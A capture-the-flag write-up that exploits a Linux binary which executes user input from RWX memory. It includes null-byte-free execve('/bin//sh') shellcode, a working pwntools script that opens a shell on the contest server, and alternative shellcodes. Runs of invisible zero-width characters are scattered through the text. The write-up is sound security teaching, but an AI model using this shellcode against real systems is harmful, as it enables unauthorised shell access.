← Back to Writeups
CUSTOMMediumpwn

New year party

XESXOR9/2/20264 min read
#pwn#custom#medium#rwx_memory_execution#shellcode_injection#linux

New year party

Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-11 | Status: Solved Techniques: rwx_memory_execution, shellcode_injection

Summary

Task: Binary that allocates RWX memory via mmap, copies user input with strcpy, and executes it as code. Solution: Sent a null-byte-free execve("/bin//sh") shellcode that bypasses the strcpy null terminator restriction, obtained a shell, and ran /bin/newyear to get the flag.

New year party - grodno_new_year_2026

Challenge Info

  • Server: nc ctf.mf.grsu.by 9075
  • Points: 500
  • Category: Pwn

Description

"Я пришёл на необычную новогоднюю вечеринку. Вам нужно вызвать /bin/newyear/"

(English: "I came to a funny New Year's Eve party. You need to call /bin/newyear/")

Binary Protections

$ checksec task
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observations:

  • No canary - no stack protection
  • No PIE - fixed addresses at 0x400000
  • NX enabled - but irrelevant since program creates RWX memory

Vulnerability Analysis

The binary implements a classic shellcode injection vulnerability:

c
int main() {
    // 1. Create RWX memory region
    void *mem = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, 
                     MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    
    // 2. Print banner
    puts("Help Santa and save the holiday");
    fflush(stdout);
    
    // 3. Read user input (up to 1024 bytes)
    char buf[0x400];
    fgets(buf, 0x400, stdin);
    
    // 4. Copy to executable memory
    strcpy(mem, buf);
    
    // 5. EXECUTE USER INPUT AS CODE!
    ((void(*)())mem)();
    
    return 0;
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Vector

The program:

  1. Allocates memory with READ+WRITE+EXECUTE permissions via mmap()
  2. Reads user input into a buffer
  3. Copies it to the executable memory region using strcpy()
  4. Calls the memory region as a function - executing our input as machine code!

Constraint: No Null Bytes

Since strcpy() is used for copying, the shellcode cannot contain null bytes (0x00) as strcpy() stops at the first null byte.

Exploitation

Strategy

  1. Send a null-byte-free shellcode that spawns /bin/sh
  2. Get a shell on the server
  3. Execute /bin/newyear which prints the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Shellcode

Standard execve("/bin//sh", NULL, NULL) shellcode without null bytes:

4831f64831d25248b82f62696e2f2f7368504889e74831c0b03b0f05

Assembly breakdown:

asm
xor rsi, rsi                    ; argv = NULL
xor rdx, rdx                    ; envp = NULL
push rdx                        ; null terminator on stack
movabs rax, 0x68732f2f6e69622f  ; "/bin//sh" (double slash to avoid null)
push rax                        ; push string to stack
mov rdi, rsp                    ; rdi = pointer to "/bin//sh"
xor rax, rax                    ; clear rax
mov al, 0x3b                    ; syscall number for execve (59)
syscall                         ; execute!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note: We use "/bin//sh" instead of "/bin/sh" to make the string exactly 8 bytes, avoiding null bytes in the immediate value.

Exploit Code

python
#!/usr/bin/env python3
from pwn import *

def exploit():
    # Standard /bin/sh shellcode (no null bytes)
    # execve("/bin//sh", NULL, NULL)
    shellcode = bytes.fromhex(
        "4831f6"                    # xor rsi, rsi
        "4831d2"                    # xor rdx, rdx  
        "52"                        # push rdx
        "48b82f62696e2f2f7368"      # movabs rax, "/bin//sh"
        "50"                        # push rax
        "4889e7"                    # mov rdi, rsp
        "4831c0"                    # xor rax, rax
        "b03b"                      # mov al, 0x3b
        "0f05"                      # syscall
    )
    
    r = remote('ctf.mf.grsu.by', 9075)
    
    # Receive banner
    print(r.recvline().decode())
    
    # Send shellcode
    r.sendline(shellcode)
    
    # We now have a shell - execute /bin/newyear to get the flag
    r.sendline(b'/bin/newyear')
    
    # Get output
    output = r.recvall(timeout=3)
    print(output.decode())
    
    r.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    exploit()

Execution

$ python3 solve.py
Help Santa and save the holiday
grodno{REDACTED}

Lessons Learned

  1. RWX memory is dangerous - Never allocate memory with execute permissions if not absolutely necessary
  2. Executing user input - The program directly executes user-controlled data as code
  3. strcpy limitation - When using strcpy(), shellcode must be null-byte free
  4. The /bin/newyear was a simple bash script that echoed the flag

Alternative Shellcodes

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If the standard shellcode doesn't work, here are alternatives:

Shorter version (23 bytes):

asm
xor esi, esi
mul esi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall

Using /bin/sh with push technique:

asm
xor rsi, rsi
xor rdx, rdx
push rsi
mov rdi, 0x68732f6e69622f2f
bswap rdi
shr rdi, 8
push rdi
push rsp
pop rdi
push 59
pop rax
syscall

Files

  • task - vulnerable binary
  • solve.py - working exploit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍